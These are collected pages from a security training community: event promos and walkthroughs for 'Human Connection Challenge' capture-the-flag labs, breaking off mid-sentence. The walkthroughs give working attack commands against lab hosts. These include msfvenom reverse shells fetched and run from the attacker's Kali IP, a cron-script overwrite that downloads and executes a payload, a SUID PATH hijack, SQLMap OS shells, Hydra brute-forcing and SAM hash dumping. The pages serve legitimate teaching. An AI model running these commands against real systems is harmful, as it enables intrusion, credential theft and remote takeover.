The Human Connection Challenge Lab 1: Basic OS Skills – Walkthrough Guide (Community Version)
This is a walkthrough guide written by one of our community members, who offered to give their perspective on the challenge. Interestingly, they approached this challenge by completing some of the tasks in the graphical user interface (GUI) instead of the command line.October is here! Prepare for Cybersecurity Awareness Month with Immersive 🎃
In a world where technology and threats are constantly evolving, building a resilient team is more important than ever. At Immersive, we're proud to be your partner in this journey, and we've put together a fantastic lineup of events, challenges, and resources throughout October to help you and your teams stay ahead of the curve. What’s on at Immersive this Cybersecurity Awareness Month 📆 Oct 1st Whitepaper: GenAI’s Impact on Cybersecurity Skills and Training Oct 6th Trick or Treat on Specter Street Challenge Begins: Labs 1-3 Oct 9th Labs Live: Ripper's Riddle Community Webinar Oct 13th Trick or Treat on Specter Street Challenge: Labs 4 - 6 Oct 15th Webinar: How to Build a People-Centric Defense for AI-Driven Attacks Oct 16th Labs Live: Cursed Canvas Community Webinar Oct 20th Trick or Treat on Specter Street Challenge: Labs 7 - 9 Oct 22nd Cyber Resilience Customer Awards Winners Revealed Oct 23rd Labs Live: Macro Polo Community Webinar Oct 27th Trick or Treat on Specter Street Challenge: Labs 10-12 Oct 30th Labs Live: Phantom Pages Webinar Oct 31st Trick or Treat on Specter Street Challenge Finale: Labs 13 Oct 31st Virtual Crisis Sim: The Puppet Master’s Trick or Treat Challenges and Labs Trick or Treat on Specter Street 👻 Welcome to Trick or Treat on Specter Street, a Halloween-themed cybersecurity challenge where you'll use both offensive and defensive skills to solve a mystery unlike anything we’ve encountered before. Each week throughout October, we’ll drop new hands-on labs that slowly begin to uncover the secrets of Specter Street. Can you crack the case? Find out more. AI Foundations 🤖 Ready to navigate the rapidly evolving world of Artificial Intelligence with confidence? Give our new AI Foundations lab collection a go! Designed to equip your teams with critical AI knowledge and practical implementation skills; this initial collection features seven foundational labs that progressively guide your teams from high-level overviews to secure, hands-on AI implementation. Find out more. Events and Webinars Webinar How to Build a People-Centric Defense for AI-Driven Attacks Wednesday October 15th A must-attend event for understanding how threat actors are leveraging AI and other emerging technologies to carry out attacks. Register Now. Virtual Crisis Sim The Puppet Master’s Trick or Treat Friday October 31st Join us on Halloween as the notorious Puppet Master returns for a fiendish game of Trick or Treat 🎃 Play along with our Immersive crisis response experts as we tackle a LIVE coordinated attack from the Puppet Master on a Critical National Infrastructure organization. Dare you play the Puppet Master’s game and survive, or will they finally get their revenge?! Register Now. AI and Emerging Threats Throughout the month, we’re shining a spotlight on the rise of AI in cyber. From our all-new AI Foundational lab series to cutting edge research from the experts at the cutting edge of GenAI in cybersecurity in our latest whitepaper: GenAI’s Impact on Cybersecurity Skills and Training. Explore our latest AI-focused resources and upskill your teams to confidently face the future of cyber resilience. Check out our latest reports, articles, webinars and more on GenAI, here. Celebrating Cyber Resilience Heroes 🏆 We're also celebrating the individuals and organizations at the forefront of cyber resilience with our Cyber Resilience Customer Awards. Keep your eyes peeled on our social channels! We'll be unveiling our latest winners on October 22nd, recognizing those who demonstrate an outstanding commitment to proving and improving their cyber readiness. It's going to be a jam-packed month focused on practical application and deep engagement. Let’s make this the most secure October yet!
Enter The Maze Challenge: Immersive’s Most Advanced Collection Yet
Today marks the release of the Maze Challenge, Immersive’s most advanced and cunningly designed offensive cybersecurity collection yet. This new series of labs is more than just a test of skills. It's a puzzle, a game, and a creative brain-bender, crafted by two of Immersive’s most brilliant minds: StefanApostol and SabrinaKayaci. Stefan, known to many as the "evil genius" behind the Human Connection Challenge, and Sabrina, who recently inspired our London community meetup attendees with her predictions on AI within the AppSec space, have teamed up to create something truly unique. We sat down with them to get their insights on what makes the Maze Challenge so special, so challenging, and so much fun. What was the main inspiration behind the maze theme, and how did you translate that narrative into a collection of technical labs? The core idea for the Maze Challenge, as Stefan explained, came from a shared love of games. "Both Sabrina and I are geeks. We like games, and we wanted to create a challenge with an overarching goal that was more than about earning a completion token." While our labs have always awarded tokens for completion, Stefan and Sabrina wanted to create a narrative that would engage users on a deeper level. "A maze is the perfect example of that," Stefan said. "We wanted to include a game element in these challenges." This isn't just a series of technical scenarios. It's a cohesive puzzle where each lab is a step toward a larger objective. The maze narrative encourages participants to think creatively, connecting different skills and techniques in a way that feels more like a game than a traditional capture the flag (CTF). I’ve heard that this is the most advanced lab collection yet. So, what makes these labs more challenging than the thousands of others in Immersive's catalogue? This collection is Immersive's most advanced to date, introducing a range of techniques not yet widely covered in the platform. The labs are a combination of real-world examples drawn from the creators' past experiences and internal testing, all woven together with a good deal of imagination. While the challenge covers a broad spectrum of offensive skills, including web, Linux, Windows, and Active Directory, Stefan was quick to name binary exploitation as an obvious concept that will have participants scratching their heads. The team collaborated with BenMcCarthy on this particular lab, and Ben being Ben, he poured all his creativity into it, making even Stefan nervous to attempt this mean challenge! Sabrina added that the real difficulty lies in the type of thinking required. "Some of them will really require outside-the-box thinking," she said. "They're unusual in a way that requires not just the technical skill, but some creativity and more critical thinking." This is a key theme throughout the collection. Participants can't rely on a simple, formulaic approach. Instead, they must be flexible and resourceful. Sabrina noted that some challenges will require "multiple sets of skills," forcing users to chain together their expertise in different areas to find a solution. Without giving away any spoilers, can you describe a moment in one of the labs that you're particularly proud of designing? Sabrina beamed as she recalled the Inner Maze lab. "I really enjoyed creating Inner Maze," she said, before adding a cryptic twist. "When you break out of that maze is when you're really trapped." She was particularly proud of her ability to create and then beat her own challenge, finding the exploit even more difficult than the design itself. Can you give users any hints or tips? The Maze Challenge is designed to be tough, and you should certainly expect it to be just that. However, the creators want everyone to have a fair shot, so they’ve some advice for those who might feel intimidated. Use the platform to your advantage. Stefan noted that around 98% of concepts within this challenge can be learned in the rest of our lab catalogue. “If you get stuck on a specific skill, take a break from the maze, find the relevant labs on the platform, and then come back with your newfound knowledge.” We encourage you to learn along the way, and persistence is always rewarded! Failure can be a sign of progress. Sabrina shared a key insight: "Sometimes it's important to take note of what it is you're doing that's failing... If you're failing at the same spot in a particular approach, that could actually mean that you're doing something right." Go figure that one out! Don't go it alone. Sabrina advises anyone starting their journey to ask others for advice and help. Our community help forum is a great resource for sharing knowledge and getting tips from fellow participants. We want you to have fun, and part of that fun is collaborating with your industry peers along the way. In the end, what do you hope participants will take away from this experience, beyond the technical skills? Stefan and Sabrina both hope it's a "desire for more challenges”! They also dropped a teaser for a community Halloween challenge… That’s all you’re getting for now! 👀 Want a head start? Join Stefan and Sabrina for a Labs Live webinar on August 19th. They’ll be solving the Improbable Maze lab live on the call, in collaboration with you. Attendees are encouraged to play along, offer their suggestions, methods, and frustrations. It’s the perfect opportunity to see the creators’ thought process and gain some momentum for your own journey through the maze. See you there!The Human Connection Challenge Lab 5: Windows Official Walkthrough Guide
Time’s Up! Congratulations to everyone who completed Lab 5: Windows from the Human Connection Challenge: Season 1. In this walkthrough, I'll share some strategies for efficiently completing the lab based on my perspective as the author. Remember, there are often multiple ways to approach a challenge, so if you used a different method and succeeded, that's perfectly fine! This challenge has now ended, but the lab remains available for practice. While prizes are no longer up for grabs, you can still complete the lab and use this walkthrough guide for support if needed. Throughout this walkthrough, placeholders will be used for target IPs in brackets, such as <Kali IP> or <Target IP>. Simply replace this with the actual IP of your Kali instance or the specific target. With all that considered, let's get started. Overview This challenge isn’t linear, meaning you can start with any of the targets listed in the Machines panel. This walkthrough will attack them in order, but it’s up to you which one you try first! For privilege escalation techniques, I won’t go through each enumeration step (to keep this walkthrough from being 70 pages long!), I’ll simply talk through the technique that helped escalate privileges. Target 1 As always, when you don’t know anything about a target machine, you Nmap first. nmap -Pn -sVTC -p- <Target 1 IP> Here’s a breakdown of the flags used in this command: -Pn: Skip ping scanning -sVTC: Service (V)ersioning, (T)CP scanning, Default S(C)ripts -p-: All ports (1-65535) Nmap reports that it got a 401 Unauthorized when doing an HTTP GET on port 80 but didn’t get the WWW-Authenticate header. This is not something you generally see because these two usually go hand in hand. Visiting the page confirms the 401 Unauthorized. However, checking the source code reveals the credentials IMLUser:hidd3n. These credentials won’t work for remote desktop protocol (RDP), but they will give you access to server message block (SMB). They’ll also give you access to C. C$ is a hidden share that requires administrator access, but C is a normal share and can be accessed by this user. Listing the Windows directory, the to-backup folder stands out, as it’s the only non-default folder. Browsing it reveals backups of SAM, SYSTEM, and SECURITY hives. These can be transferred offline and reconstructed to obtain local user hashes. get SAM.backup get SECURITY.backup get SYSTEM.backup impacket-secretsdump -sam SAM.backup -security SECURITY.backup -system SYSTEM.backup You can now either pass the hash and log in as administrator, or try to crack it. Both are valid methods, but this is the way to crack it: echo <Administrator Line> > hash john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=NT And you’ll get the credentials Administrator:blink182. Now you can log in over RDP and get your first token! xfreerdp /v:<Target 1 IP> /u:Administrator /dynamic-resolution +clipboard Target 2 Initial access Nmapping the second target reveals a website titled “Password Manager”. nmap -Pn -sVTC -p- <Target 2 IP> Upon visiting the website, you’ll see its URL is 10.102.38.73. It asks the user to choose a game from a drop-down box and submit their choice. Once a game is selected (such as World of Warcraft), it adds a parameter to the URL, which then becomes http://10.102.38.73/?game=WOW. You can scan this with SQLMap using the following command: sqlmap -u http://<Target 2 IP>/?game=* This will confirm that the target is vulnerable to SQL injection, so you can use the following command to gain code execution on the target host: sqlmap -u http://<Target 2 IP>/?game=* --os-shell With the ability to execute commands on the target system, you can now read the token. Privilege escalation Since the previous shell is limited, you can upload and execute a reverse Meterpreter shell to use all its privilege escalation functions. First, create the Meterpreter shell and serve it over HTTP using Python. msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<Kali IP> lport=443 -f exe > shell.exe sudo python -m http.server 80 In a different terminal, run your Metasploit listener. sudo msfconsole use multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost <Kali IP> set lport 443 exploit Finally, in your SQLMap’s OS shell, run the following commands to download and trigger your payload: powershell wget http://<Kali IP>/shell.exe -o C:\users\iis-admin\shell.exe C:\users\iis-admin\shell.exe Once you hit enter a second time you’ll get a connection back to your listener. Metasploit has a variety of post-exploitation modules you can try, but the one that will work is exploit/windows/local/service_permissions. Of course, you can do this with PowerUp or any other privilege escalation tool of your choice, but Metasploit just automates the exploitation process better in this case. use exploit/windows/local/service_permissions set session 1 exploit The module will first enumerate all local service permissions. Once it finds one that runs under a higher privilege user and it can modify, it automatically exploits this service and starts a new metasploit session under this new user. You’ll then find the token on the desktop. Target 3 Initial access Nmapping the second target reveals only two running services, SMB and RDP. nmap -Pn -sVTC -p- <Target 3 IP> Enumerating the SMB service reveals that guest access is enabled. The listing also shows a share called Shared. smbclient -L \\\\<Target 3 IP> -U guest smbclient \\\\<Target 3 IP>\\Shared -U guest You should soon reach the file reply.txt, which contains the password for the user IMLUser. With your newly found credentials (IMLUser:Shar3dPass), you can now RDP into the target. xfreerdp /v:<Target 3 IP> /u:IMLUser /p:Shar3dPass /dynamic-resolution You’ll find the first token in a file on the Desktop. Privilege escalation This privilege escalation technique is a rather classic one. After local file enumeration, you can find the Administrator password in C:\Windows\Panther\Unattend.xml and use it to run CMD as administrator and find the final token. Tools For this challenge, you’ll use a range of tools including: Nmap Metasploit Python SQLMap smbclient Tips When testing for web application vulnerabilities, remember that vulnerabilities may reside in any part of the application. Subtle elements that appear unimportant could prove exploitable if they neglect to handle inputs securely. So make sure you check all user input forms and any buttons or links that direct you to different parts of the application. To learn more about some of the tools used in this lab, take a look at the following collections: Windows Basics Privilege Escalation: Windows Introduction to Metasploit SQL Injection Conclusion The steps I’ve laid out here aren’t the only way to find the answers to the questions. As long as you find the answers, you did it – well done! If you used an alternative method, or think there’s a better route to find some of the answers, let us and the rest of the community know in the comments below! I hope you enjoyed the challenge and are looking forward to the next one, after which I’ll share another walkthrough guide!The Human Connection Challenge Lab 4: Linux Official Walkthrough Guide
Time’s Up! Congratulations to everyone who completed Lab 4: Linux from the Human Connection Challenge: Season 1. In this walkthrough, I'll share some strategies for efficiently completing the lab based on my perspective as the author. Remember, there are often multiple ways to approach a challenge, so if you used a different method and succeeded, that's perfectly fine! This challenge has now ended, but the lab remains available for practice. While prizes are no longer up for grabs, you can still complete the lab and use this walkthrough guide for support if needed. Throughout this walkthrough, placeholders will be used for target IPs in brackets, such as <Kali IP> or <Target IP>. Simply replace this with the actual IP of your Kali instance or the specific target. With all that considered, let's get started. Overview This challenge is in no way linear and you could start with any of the targets listed in the Machines panel. This walkthrough will attack them in order, but it’s up to you which one you try first! For privilege escalation techniques, I won’t go through each enumeration step (to keep this walkthrough from being 70 pages long!). I’ll simply talk through the technique that helped escalate privileges. Target 1 First thing’s first, as with any pen test, Nmap! nmap -Pn -sVTC -p- <Target 1 IP> Here’s a breakdown of the flags used in this command: -Pn: Skip ping scanning -sVTC: Service (V)ersioning, (T)CP scanning, Default S(C)ripts -p-: All ports (1-65535) Scanning all ports reveals that a Redis server is running version 4.0.1 on the target host. Since you have a version number, the next step is to identify any public exploits you could use. A quick Google search for the version reveals there is a Metasploit module available for this. First, fire up Metasploit as root with: sudo msfconsole Then, set all the necessary parameters needed for the exploit: set srvhost <Kali IP> set lhost <Kali IP> set rhosts <Target 1 IP> Then simply run the module. Since the module was successful, you’ll get a connection back to your Kali machine’s listener. Dropping into a shell reveals that you are root, and you can read the token to complete the first Target. Target 2 Initial access Back to square one. Since you don’t know anything about the second target, you must Nmap it and see what services it’s running. nmap -Pn -sVTC -p- <Target 2 IP> Since the only running service is SSH and the version doesn’t look like it would be vulnerable to any known exploits, you can attempt to connect to it and hope to gather more information. ssh <Target 2 IP> The SSH banner mentions the system is “reserved for john and friends”. Even though you aren’t friends with john, you now know that “john” is a valid system user so you can attempt a dictionary attack against this user. hydra -l john -P /usr/share/wordlists/metasploit/burnett_top_500.txt ssh://<Target 2 IP> The dictionary attack will reveal a valid password, trustno1. You can now use this password to log in as john over SSH and get the low-level token. ssh john@<Target 2 IP> Privilege escalation Now that you have access to the target, you can attempt to escalate your privileges. One of the methods is to find SUID binaries owned by root. These are binaries that can be executed with the privileges of their owner. If you can find one that uses another binary from the $PATH variable, you could exploit this behavior to escalate your privileges. find /usr/local/bin -perm -4000 Checking for SUID binaries reveals /usr/local/bin/ls-lh. After dumping the strings of this binary, you can see that it uses ls from $PATH. This is extremely dangerous, as any user could escalate privileges by creating a binary called ls, adding it to a writable directory, and exporting their PATH to first contain this directory before anything else. And that’s precisely what you’ll do to exploit this! First, create a file in /tmp called ls.c. touch /tmp/ls.c Then, add the following code that will spawn bash when run: #include <stdlib.h> int main(){ system("/bin/bash"); } Finally, compile this to /tmp/ls, add /tmp as the first location of the PATH variable, and run the original SUID binary. gcc -o /tmp/ls /tmp/ls.c export PATH=/tmp:$PATH ls-lh /root Target 3 Initial access Again, start with an Nmap scan to see what services are running on the target host. nmap -Pn -sVTC -p- <Target 3 IP> You can see from the output that the target is running an Apache webserver titled anna’s website. You can extend your Nmap command to run all HTTP scripts that don’t attempt brute forcing or DoS-ing against the target and try to uncover more information. nmap -Pn -sVTC --script="http* and not(brute or dos)" <Target 3 IP> This reveals that the target is running webdav. However, the status code returned is 401, which means you need valid credentials to access this. You know the username is anna, you just need to find the password. hydra -l anna -P /usr/share/wordlists/metasploit/burnett_top_500.txt -f <Target 3 IP> http-get /webdav This command reveals the password 123456. Unfortunately, your Kali instance doesn’t have a webdav client such as cadaver, but creativity is part of a pen tester’s job! Instead, use Metasploit’s windows/http/xampp_webdav_upload_php to get a reverse shell. Even though the target is Linux, this will still work because it uploads PHP. However, while the exploit is running, you must access the uploaded file manually to trigger it. use windows/http/xampp_webdav_upload_php set rhosts <Target 3 IP> set filename shell.php set username anna set password 123456 exploit Once the exploit module is triggered, you can access the uploaded file from a different terminal: wget http://anna:123456@<Target 3 IP>/webdav/shell.php And, of course, this triggers the reverse shell and you get a connection back to your Metasploit listener. Privilege escalation Checking crontab, you can see there is a recurring job run by root that clears webdav. The permissions on this file allow it to be modified by anyone. At this point, you could, in theory, just make it read the root token into a world-readable file and finish the challenge. But did you really hack it if you don’t have interactive access? First, generate a reverse shell using msfvenom: msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=<Kali IP> lport=443 -f elf > shell.elf Then, serve it using Python: sudo python -m http.server 80 Then, set up your Metasploit listener (since the port is 443, remember to run Metasploit as root): use multi/handler set payload linux/x64/meterpreter/reverse_tcp set lport 443 set lhost <Kali IP> exploit And finally, you can modify the file run by the cron job to trigger your exploit. echo “wget http://<Kali IP>/shell.elf; chmod +x shell.elf; ./shell.elf” > /tmp/clear-dav.sh Once the job is triggered, it first downloads the file from your HTTP server. Then, you get a connection back to your Metasploit listener. Tools For this challenge, you’ll use a range of tools including: Nmap Metasploit Python GCC Hydra Tips When testing for vulnerabilities, remember that vulnerabilities may reside in any part of the target infrastructure. Subtle elements that appear unimportant could prove exploitable. So make sure you leave no stone unturned and check every single aspect of the target server. To learn more about some of the tools used in this lab, take a look at the following collections: Moving Around Secure Testing: Beginner Credential Access Privilege Escalation: Linux Introduction to Metasploit Conclusion The steps I’ve laid out here aren’t the only way to find the answers to the questions. As long as you find the answers, you did it – well done! If you used an alternative method, or think there’s a better route to find some of the answers, let us and the rest of the community know in the comments below! I hope you enjoyed the challenge and are looking forward to the next one, after which I’ll share another walkthrough guide!Human Connection Challenge Lab 6: Thick Client Applications Walkthrough Guide (Community Version)
Time’s Up! Congratulations to everyone who completed Lab 6: Thick Client Applications from the Human Connection Challenge: Season 1. In this walkthrough, I'll share some strategies for efficiently completing the lab based on my perspective as the author. Remember, there are often multiple ways to approach a challenge, so if you used a different method and succeeded, that's perfectly fine! This challenge has now ended, but the lab remains available for practice. While prizes are no longer up for grabs, you can still complete the lab and use this walkthrough guide for support if needed. Throughout this walkthrough, placeholders will be used for target IPs in brackets, such as <Kali IP>, <API IP>, or <Thick Client IP>. Simply replace this with the actual IP of your Kali instance or the specific target. Let's get started! Begin this challenge by setting up your Thick Client application with the API’s IP address. Go to the Remote Data Browser folder , right-click configuration.conf, then click Open with Notepad, and replace the original <IP:5000> with <API IP> or <API IP:80>. Task 1 Task 1 requires you to input a token that you’re meant to receive after you first log in to the Remote Data Browser application with the username and password provided in the Credentials panel. However, after logging in, the application doesn’t present any token. Under normal circumstances, when testing Thick Client applications, you’d have tools like ProcMon running while using the application to check for interactions with the file and operating system. In this lab, however, you can simply go back to the Remote Data Browser application’s folder. You’ll see that a token file has been created. Open it to find the token. Task 2 The second task asks for an admin token. However, you can’t access any admin panel through the application’s interface, meaning the role is set on login. First, open Burp Suite Community on your Thick Client machine. Then, set your System Proxy as follows: Go to Proxy settings > Manual proxy setup Toggle Use a proxy server to "on" Set the IP address as 127.0.0.1 Set the port as 8080 After everything is set up, turn on the Intercept feature of Burp Suite and log back into the application. On the login request, right click anywhere in the request panel and click Do intercept > Response to this request. This will result in a successful authentication response. It contains a JWT token that can be used in subsequent requests, the username that was used, and the current user’s role. From the response, you can assume that the API doesn’t tie the role to the session and instead sends it as a parameter to the application. The application then evaluates the role and presents the user with the appropriate panels. Now you can change the role in the response from user to admin. This will reveal a token in the Remote Data Browser application. Task 3 The final task asks for “the secret token in management”. Again, the application doesn’t offer this option. Clicking any of the vehicles, however, results in a Burp Suite request. The application sends this request to the server when selecting the truck option, along with the JWT received during the login phase. Since the vehicle parameter is the only one, you should focus on it for your final challenge. Adding an extra quote (‘) to the vehicle parameter returns the error “SQL query failed”. You can now safely assume this is vulnerable to SQL injection. Copy the original request into a file, retrieve.sqlmap, in your Kali box, and run sqlmap as follows: sqlmap -l retrieve.sqlmap --dump After hitting ENTER a few times (accepting SQLmap’s default options), you’ll be presented with your final token. Tools For this challenge, you’ll use a range of tools including: Burp Suite SQLMap Kali Tips When testing for Thick Client application vulnerabilities, remember that vulnerabilities may reside in any part of the application. Subtle elements that appear unimportant could prove exploitable if they don’t handle inputs securely. So make sure you check all user input forms and any buttons that direct you to different parts of the application. Although not required for this lab, you should always monitor operating and file system interactions and attempt to decompile the app to uncover all possible attack vectors. To learn more about some of the tools used in this lab, take a look at the following collections: Windows Basics Burp Suite Basics SQL Injection Conclusion The steps I’ve laid out here aren’t the only way to find the answers to the questions. As long as you find the answers, you did it – well done! If you used an alternative method, or think there’s a better route to find some of the answers, let us and the rest of the community know in the comments below! I hope you enjoyed the challenge and are looking forward to the next one, after which I’ll share another walkthrough guide!The Human Connection Challenge Lab 4: Linux Walkthrough Guide (Community Version)
Congratulations to those who completed Lab 4 of the Human Connection Challenge: Season 1! We're aware that some of you are still attempting this lab, and so community member steven has created an unofficial video walkthrough guide offering their perspective and methods to help you along the way. This resource is for those still working on the lab or wanting to compare approaches. Remember, multiple solutions exist, and learning is the key goal. An official walkthrough written by the lab author StefanApostol is also available here.Human Connection Challenge: Season 1 – Scanning Walkthrough Guide (Official Version)
Time’s Up! Congratulations to everyone who completed Lab 2: Scanning from the Human Connection Challenge: Season 1. In this walkthrough, I'll share some strategies for efficiently completing the lab, based on my perspective as the author. Remember, there are often multiple ways to approach a challenge, so if you used a different method and succeeded, that's perfectly fine! The goal is to learn, and I hope these notes help clarify any steps and reinforce key concepts for the next challenge. This challenge has now ended, but the lab remains available for practice. While prizes are no longer up for grabs, you can still complete the lab and use this walkthrough guide for support if needed. I’ve also used placeholders in some of the commands that would give away an answer directly, so if you see anything enclosed in angle brackets, such as <name server>, please make sure you replace it with the actual value, such as nameserver. With all that considered, let's get started. Overview Task: Identify the name server records of tinytown.bitnet. 1. What is the IP of the first name server for tinytown.bitnet? You’ll first need to open a Terminal on the Kali desktop. Next, you’ll need to query the DNS Server IP (found in the Machines panel) about the tinytown.bitnet domain using the nslookup (Name Server Lookup) tool. You’re specifically looking for NS (Name Server) records, so you can use the -type=ns parameter with nslookup to specify this: nslookup -type=ns tinytown.bitnet [DNS Server IP] The output of this command will return two name servers for the domain labelled with 1 and 2. Your next step is to identify what IP address is associated with the first name server (1). To do this, you can use nslookup along with the name server, domain, and DNS Server IP: nslookup <name server>1.tinytown.bitnet [DNS Server IP] This command will then return an IP address for the name server. 2. What is the IP of the second name server for tinytown.bitnet? As you’ve already identified both name servers, you’ll just need to run the previous command, except with the second (2) name server: nslookup <name server>2.tinytown.bitnet [DNS Server IP] You’ll then find the IP address associated with it. Task: Identify port service information for Target 1. 3. What service version is running on port 53? A network scanning tool like Nmap can help you identify the service version running on a specific port. To do this with Nmap, you can use the -sV option for service detection: nmap -sV [Target 1 IP Address] The output will show what service version is running on port 53. 4. What is the full service banner of port 22? There are a couple of ways to find the full service banner of port 22 – such as with Nmap or Netcat. If you’re using Nmap, you can modify the previous command to include the “banner” script along with the port number: nmap -sV -script=banner [Target 1 IP Address] -p22 The command line will then display the service banner from port 22. You can alternatively use netcat to manually connect to the SSH server. When a client connects, Netcat may present a banner that contains version information. To use Netcat, you’ll need the nc command along with the Target 1 IP address and specify you want to connect to port 22: nc [Target 1 IP Address] 22 When you run this command, the banner appears before the terminal hangs. Task: Identify a token on one of the ports. 5. What is the token? With the previous Nmap command, you initially found that three ports were open on Target 1. However, you’ll need to do a more thorough network scan to find another open port, one not initially found with the previous scans. To do this, you can expand your port scan to cover a much wider range by using Netcat to scan for open ports from 1 through 9000: nc -zvn <Target 1 IP Address> 1-9000 Here, -z will scan for listening services but won’t send any data, -v is verbose mode, which provides more detailed information, and -n tells Netcat not to resolve hostnames via DNS. This command will reveal a fourth open port. Now, you can use Netcat to connect to this port: nc <Target 1 IP Address> <open port> The token will then be displayed in the terminal. Task: Scan the TLS configuration on Target 2. 6. How many protocols are enabled? To scan for SSL/TLS configurations, you can use the sslscan tool. By default, sslscan scans port 443 and will return supported server ciphers, certificate details, and more. You can use sslscan like this: sslscan <Target 2 IP Address> The returned output will be verbose, but you can find and count the number of enabled protocols under the SSL/TLS Protocols subheading. 7. Name an enabled protocol. Using the previous output, name one of the enabled protocols. 8. What exploit are the protocols NOT vulnerable to? Using the same output, scroll down through the results until you find a subheading that’s named after a vulnerability and contains a similar string to: <Protocol> not vulnerable to <vulnerability name> The vulnerability has the same name as the subheading. Task: Identify and extract information from an SMB share on Target 3. 9. What Disk shared directory can you access? To extract information from an SMB (Server Message Block) share, you can use the smbclient tool. First, you’ll need to list the SMB shares on the target using the -L flag (the list/lookup option) with: smbclient -L //<Target 3 IP> You’ll then be prompted for a password, but you can press Enter to skip this. A list of SMB shares will then be displayed, three of which are shown to be a Disk type, so you know the answer will be one of these. You can now begin to go through the list and try to connect to the shares with: smbclient //<Target 3 IP>/<Sharename> However, this time when you’re prompted for a password and you press Enter, you might encounter a message when you try and connect to a share: NT_STATUS_ACCESS_DENIED If you attempt to connect to all shares, you’ll find you can connect to one share without a password. You’ll then be greeted with the following prompt to show the successful connection: smb: \> 10. What is the token stored in the directory? Now that you’re connected, you can execute commands to interact with the SMB share. If you run ls, you’ll find a token.txt file in the current directory. You can then download the file from the share onto your local machine with: get token.txt On the Kali desktop, open the Home folder and the token.txt will be inside. Open this file and find the token. 11. What is the username stored in the directory? After you’ve run ls in the SMB share, you’ll find not only token.txt, but also a file named creds.txt. Use the same command as you just did previously to download the file onto your machine: get creds.txt This file will also be downloaded to the Home folder, where you can find a username and password. Task: Identify open services on Target 3. Task: Connect to Target 3 with the previously found credentials. 12. What is the token stored in the user's /Documents directory? For this final task, you first need to scan the target using Nmap. You’ll find that if you attempt to scan the target without using the -Pn flag, you’ll get a response saying that the host seems down. However, if you run Nmap with -Pn, you’ll find some ports are open: nmap -Pn <Target 3 IP Address> However, the ports returned from this command don’t offer a way to connect to the target. You’ll also need to scan the 6000 most popular ports: nmap -Pn --top-ports 6000 <Target 3 IP Address> These results will now show two additional ports are open regarding the Web Services Management (Wsman) protocol, which is used to communicate with remote machines and execute commands. One of the tools that implement this protocol is Windows Remote Management (WinRM) which is Microsoft’s implementation of Wsman. Knowing this, you can now use Metasploit to interact with the target. In your terminal, run: msfconsole Once loaded, you can use the the following auxiliary module to connect to a system with WinRm enabled and execute a command with: set cmd ls You’ll then need to set the following options, using the credentials you found in the creds.txt file: set username <username> set password <password> set rhosts <Target 3 IP Address> Next, you need to set the cmd option with the command you want to run. If you use the ls command, you’ll be able to find what out files are in the directory you connect to: set cmd ls With all the options set, you can now run the module: run The results of the executed command will be printed on the screen and also saved to a directory, but both show the existence of a token.txt file in the current directory. You can now set the cmd option to type token.txt in Metasploit: set cmd type token.txt Once set, use the run command to send the updated command: run The contents of token.txt will then be displayed on the screen and outputted to a file. Tools For this challenge, you’ll use a range of tools including: Nslookup Nmap Netcat Sslscan Smbclient Metasploit Tips You can use different tools and parameters within those tools to scan for and find information, so don’t be afraid to try out a few different things! If you want to learn more about some of the tools within this lab, take a look at the following collections: Reconnaissance Nmap Infrastructure Hacking Introduction to Metasploit Post Exploitation with Metasploit Conclusion The steps I’ve laid out here aren’t the only way to find the answers to the questions, as long as you find the answer, you did it – well done! If you found another way to find some of these answers and think there’s a better way to do it, please post them in the comments below! I hope you enjoyed the challenge and I’ll see you for the next one.Human Connection Challenge: Season 1 – Web Exploitation
In this walkthrough, I'll share some strategies for efficiently completing the lab, based on my perspective as the author. Remember, there are often multiple ways to approach a challenge, so if you used a different method and succeeded, that's perfectly fine! The goal is to learn, and I hope these notes help clarify any steps and reinforce key concepts for the next challenge. This challenge has now ended, but the lab remains available for practice. While prizes are no longer up for grabs, you can still complete the lab and use this walkthrough guide for support if needed. I’ve also used placeholders in some of the commands that would give away an answer directly, so if you see anything enclosed in angle brackets, such as <username>, please make sure you replace it with the actual value, such as user1. With all that considered, let's get started. Overview Task: Using the Firefox browser, navigate to The Happy Teeth Company web application, found at http://the-happy-teeth-company.bitnet. Task: Identify a directory on the web application that's disallowed to web crawlers. What is the name of the directory? On the Kali desktop, open the Firefox application and enter http://the-happy-teeth-company.bitnet into the browser to navigate to the Happy Teeth Company website. The key phrase in this task is “web crawlers”, which are also referred to as robots. The robots.txt page defines areas that shouldn’t be accessed by web crawlers, and reveals areas that aren’t intended for normal users to access, making it a simple but effective tool for directory discovery. To find what directory is disallowed to web crawlers, add /robots.txt to the end of the website URL: http://the-happy-teeth-company.bitnet/robots.txt You’ll find the directory name on this page. Task: Identify a login page that's not directly accessible from the web application's main site. What is the path of the page? To find the login page, you’ll need to open Terminal on the Kali Desktop. Then, you’ll need to use the Dirbuster tool with a wordlist to brute force any hidden pages that aren’t listed or linked from the main site. Wordlists for dirb (the command line version of Dirbuster) can be found in the /usr/share/dirb/wordlists directory on the Kali desktop. The syntax for the dirb command is: dirb http://the-happy-teeth-company.bitnet /usr/share/dirb/wordlists/small.txt This command will return a single directory. You’ll then be able to navigate to this URL and find a login page. Identify a username that's been mistakenly left on the web application. What is the username? For this question, you’ll need to navigate to the website’s main homepage, then right-click and select View Page Source. From here, scroll down the page until you see a comment that’s highlighted in red text that contains the username: <!---- [Comment] --> Task: Use a password cracking tool with the wordlist /usr/share/wordlists/metasploit/burnett_top_1024.txt to find the password for the user. What is the user's password? You can crack the user’s password using the Hydra tool and some specified options. Together, the command run in the Terminal should look something like this: hydra -l <username> -P /usr/share/wordlists/metasploit/burnett_top_1024.txt the-happy-teeth-company.bitnet -f http-post-form "/<login-page>:username=^USER^&password=^PASS^:F=invalid" This command first specifies the login name as the found username (-l <username>), the wordlist (-P /usr/share/wordlists/metasploit/burnett_top_1024.txt), the target (the-happy-teeth-company.bitnet), to quit when it finds one valid password combination (-f), and that the target page is an HTTP POST form. Next, it tells Hydra that the login page to attempt the credentials on (the previously found login page) and the form data sent will replace ^USER^ with the username and ^PASS^ with a password from the wordlist. If the server replies containing the word invalid, this means the login attempt failed. When you run this command, Hydra will attempt to log in to the page using the username and each password in the wordlist. If you want to view this process in real time with each password being attempted, you can also add the -V parameter to the end of the command for the verbose output. Hydra will successfully crack the user’s password a minute or so after running the command. Task: Log in to the previously found login page with these credentials. What is the token on the dashboard? Navigate to the previously found login page and enter the username and cracked password. Click Login, and the new page will reveal a token. Task: Identify a SQL 